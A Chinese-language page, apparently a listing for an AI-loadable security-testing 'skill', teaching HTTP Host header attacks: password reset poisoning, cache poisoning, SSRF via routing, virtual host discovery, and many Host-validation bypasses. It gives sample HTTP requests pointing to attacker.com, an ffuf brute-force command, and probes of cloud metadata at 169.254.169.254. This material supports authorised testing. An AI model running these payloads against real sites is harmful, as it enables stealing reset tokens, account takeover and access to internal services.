关于 http-host-header-attacks
面向安全测试的技能,讲解 HTTP Host 请求头注入与路由滥用的评估方法,涵盖攻击面、绕过技巧和框架行为。
主要功能
- 01密码重置链接投毒检查
- 02基于 Host 的缓存投毒分析
- 03SSRF 与虚拟主机路由测试
- 04验证绕过技巧
- 05框架特定行为
- 06Keep-alive 连接状态测试
适用场景
- 01评估密码重置链接生成
- 02测试缓存是否受 Host 投毒
- 03发现隐藏虚拟主机
- 04检查代理和框架的 Host 验证
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill http-host-header-attacks安装后在 Claude Code 中输入/http-host-header-attacks确认已加载。
详细介绍
技能:HTTP Host 头攻击 — 注入与路由滥用
AI 加载指令:涵盖用于密码重置投毒、缓存投毒、通过路由实现 SSRF 以及虚拟主机绕过的 Host 头注入。包含绕过 Host 验证的技术和特定框架的行为。基础模型通常会忽略双 Host 技巧、绝对 URI 覆盖以及连接状态攻击。
0. 相关路由
- web-cache-deception:Host 注入与缓存行为相结合时
- ssrf-server-side-request-forgery:Host 头将请求路由到内部服务时
- open-redirect:Host 注入导致重定向到攻击者域名时
- waf-bypass-techniques:Host 操纵有助于绕过 WAF 路由时
- request-smuggling:请求走私使 Host 头操纵得以绕过前端验证时
- subdomain-takeover:Host 路由暴露了可通过子域名解析的内部虚拟主机时
1. 攻击面
Web 应用和基础设施会使用 Host 头来实现以下功能:
| 用途 | 利用方式 |
|---|---|
| URL 生成(密码重置链接、电子邮件链接) | 注入攻击者域名 → 用户点击链接后进入攻击者网站 |
| 虚拟主机路由 | 伪造 Host → 访问内部/管理虚拟主机 |
| 缓存键组成部分 | 注入不同的 Host → 为所有用户投毒缓存 |
| 反向代理路由 | Host 决定后端 → 对内部服务发起 SSRF |
| 访问控制决策 | 基于 Host 的 ACL 可能被绕过 |
| 规范 URL/SEO 重定向 | Host 注入 → 开放重定向 |
2. 密码重置投毒
最常见、影响最大的 Host 头攻击。
工作原理
1. Attacker requests password reset for [email protected]
2. Attacker modifies Host header in the reset request:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
[email protected]
3. Server generates reset link using Host header value:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password
测试
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
[email protected]
检查 Burp Collaborator 是否收到包含重置令牌的 HTTP 请求。
变体
- 某些应用会拼接:
Host: target.com.attacker.com→ 链接变为https://target.com.attacker.com/reset?token=xxx - 某些应用只使用端口部分:
Host: target.com:@attacker.com→ 在某些 URL 解析器中会被解析为attacker.com
3. 通过 Host 实现 Web 缓存投毒
1. Attacker sends:
GET / HTTP/1.1
Host: attacker.com
2. If cache keys on URL path but NOT on Host header:
→ Response cached with attacker.com in generated links/content
3. Subsequent users requesting GET / receive the poisoned response
→ Links point to attacker.com, scripts load from attacker.com
关键条件:缓存键不能包含 Host 头,但应用必须在响应正文中使用 Host。
发送两个 Host 值不同的请求,并检查第二个请求是否在响应中返回了第一个请求的 Host,以此进行测试。
4. 通过 Host 路由实现 SSRF
当反向代理使用 Host 头将请求路由到后端时:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal service
常见于:
- 基于
$host的 Nginxproxy_pass - 使用虚拟主机路由的 Apache
ProxyPass - Kubernetes Ingress 控制器
- 云负载均衡器
5. 虚拟主机绕过
许多服务器会通过虚拟主机在同一 IP 上托管多个应用:
Target: Host: www.target.com → public site
Hidden: Host: admin.target.com → admin panel (not in public DNS)
Hidden: Host: staging.target.com → staging environment
Hidden: Host: localhost → server status page
发现
1. Brute-force Host header with common vhost names:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. Try special values:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. Compare response size/content to identify different vhosts
6. Host 经过验证时的绕过技术
6.1 覆盖头
许多框架/代理会信任以下头,而不是 Host 头:
| 头 | 信任该头的框架 |
|---|---|
X-Forwarded-Host | Symfony、Laravel、Django(当 USE_X_FORWARDED_HOST=True 时)、Rails(位于代理之后时) |
X-Host | 某些自定义代理配置 |
X-Original-URL | 使用 URL Rewrite 模块的 IIS |
X-Rewrite-URL | 使用 URL Rewrite 模块的 IIS |
Forwarded: host=attacker.com | 符合 RFC 7239 的代理 |
X-Forwarded-Server | Apache mod_proxy |
同时测试所有头:
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com
6.2 请求行中的绝对 URL
GET http://attacker.com/path HTTP/1.1
Host: target.com
根据 HTTP/1.1 规范(RFC 7230):如果请求行中包含绝对 URI,则应忽略 Host 头。部分服务器遵循此规则,部分则不遵循——代理与后端之间的行为不一致会造成漏洞。
6.3 双 Host 头
GET /path HTTP/1.1
Host: target.com
Host: attacker.com
行为各不相同:
- 某些代理验证第一个 Host,而应用使用第二个
- 某些服务器会将其拼接为:
target.com, attacker.com - RFC 规定:如果两者不同,应返回 400。大多数服务器不会这样做。
6.4 带端口 / 凭据的主机
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%[email protected]
存在凭据(@)或片段(#)时,URL 解析器提取“主机”部分的方式可能各不相同。
6.5 尾随点
Host: target.com.
DNS 会将 target.com. 和 target.com 视为相同(尾随点 = FQDN)。但 Host 验证可能不会去掉尾随点 → 字符串比较中 target.com. ≠ target.com → 绕过白名单。
6.6 制表符 / 空格注入
Host: target.com\tattacker.com
Host: target.com attacker.com
某些解析器会按空白字符拆分;服务端可能使用 attacker.com 部分,而验证检查的是 target.com 部分。
6.7 包裹 / 括起的值
Host: "attacker.com"
Host: <attacker.com>
应用可能会去掉引号或方括号括起的值,但验证器不会。
7. 框架特定行为
| 框架 | Host 来源 | 注意事项 |
|---|---|---|
| PHP | $_SERVER['HTTP_HOST'](原始标头,可直接注入) | 只有启用 UseCanonicalName On 时,SERVER_NAME 才更安全 |
| Django | HttpRequest.get_host() 会优先检查 X-Forwarded-Host(如果已启用) | USE_X_FORWARDED_HOST=True 会绕过 ALLOWED_HOSTS |
| Rails | request.host 来自 Host 标头;在代理后会信任 X-Forwarded-Host | Rails 6+ 的 HostAuthorization 中间件可缓解此问题 |
| Node/Express | req.hostname / req.headers.host;启用 trust proxy 时使用 X-Forwarded-Host | 没有内置的 Host 验证 |
8. 连接状态攻击
一种利用 HTTP keep-alive 的复杂变体:
Connection 1:
Request 1: GET / HTTP/1.1 ← Valid Host: target.com
Host: target.com → Proxy validates, forwards, keeps connection open
Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection
Host: evil.com → Some proxies skip validation on subsequent requests
(they validated the connection on first request)
此攻击可用于仅在 keep-alive 连接的第一个请求上执行 Host 验证的代理。
测试
1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently
9. Host 标头攻击决策树
Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│ ├── Change Host to attacker domain → reflected in response?
│ │ ├── YES → Check impact:
│ │ │ ├── In password reset emails? → PASSWORD RESET POISONING
│ │ │ ├── In cached responses? → WEB CACHE POISONING
│ │ │ ├── In redirects? → OPEN REDIRECT
│ │ │ └── In script/link URLs? → XSS VIA HOST
│ │ └── NO (400/403/different response) → Host is validated
│ │
│ └── Host validated? Try bypasses:
│ ├── X-Forwarded-Host header
│ ├── X-Host / X-Original-URL / Forwarded header
│ ├── Absolute URL in request line
│ ├── Double Host header
│ ├── Host: target.com:@attacker.com (URL parser confusion)
│ ├── Host: target.com. (trailing dot)
│ ├── Tab/space injection in Host value
│ └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│ ├── Brute-force Host values against target IP
│ ├── Try: localhost, admin, staging, internal, intranet
│ └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│ ├── Host: 127.0.0.1 → internal service?
│ ├── Host: internal-hostname.local → internal routing?
│ └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
└── Check if app uses Host in server-side operations
(email generation, webhook URLs, API callbacks)
10. 技巧提示——AI 模型容易忽略的要点
- 密码重置投毒不要求受害者已登录——你发起重置请求,受害者只需点击链接。令牌就会发送到你的服务器。
- X-Forwarded-Host 是最容易漏掉的绕过方式:大多数 Host 验证只检查
Host标头,但位于代理后时,框架会静默地优先使用X-Forwarded-Host。 - 重复的 Host 标头符合协议规范,但行为未定义:RFC 规定应以 400 拒绝,但实际上几乎没有服务器会这么做。代理与应用之间的不一致就是漏洞所在。
- 根据 RFC,绝对 URI 会覆盖 Host:
GET http://evil.com/path HTTP/1.1\nHost: target.com——规范规定应使用请求行中的 URI。但并非所有实现都一致。 - 通过 Host 进行缓存投毒,要求缓存键不包含 Host:大多数 CDN 会将 Host 纳入缓存键。但自定义的 Varnish/Nginx 缓存可能不会。此外,还要测试将
X-Forwarded-Host用作缓存键区分项。 - 很少有人测试连接状态攻击:自动扫描器不会测试 keep-alive 行为。必须通过 Burp Repeater 的连接复用进行手动测试。
- DNS 重绑定 + Host 攻击:如果你控制 DNS,可将你的域名指向目标 IP → 你的域名解析到对方服务器 → Host 标头显示你的域名,但请求会到达对方服务器。这有助于绕过基于 IP 的访问控制。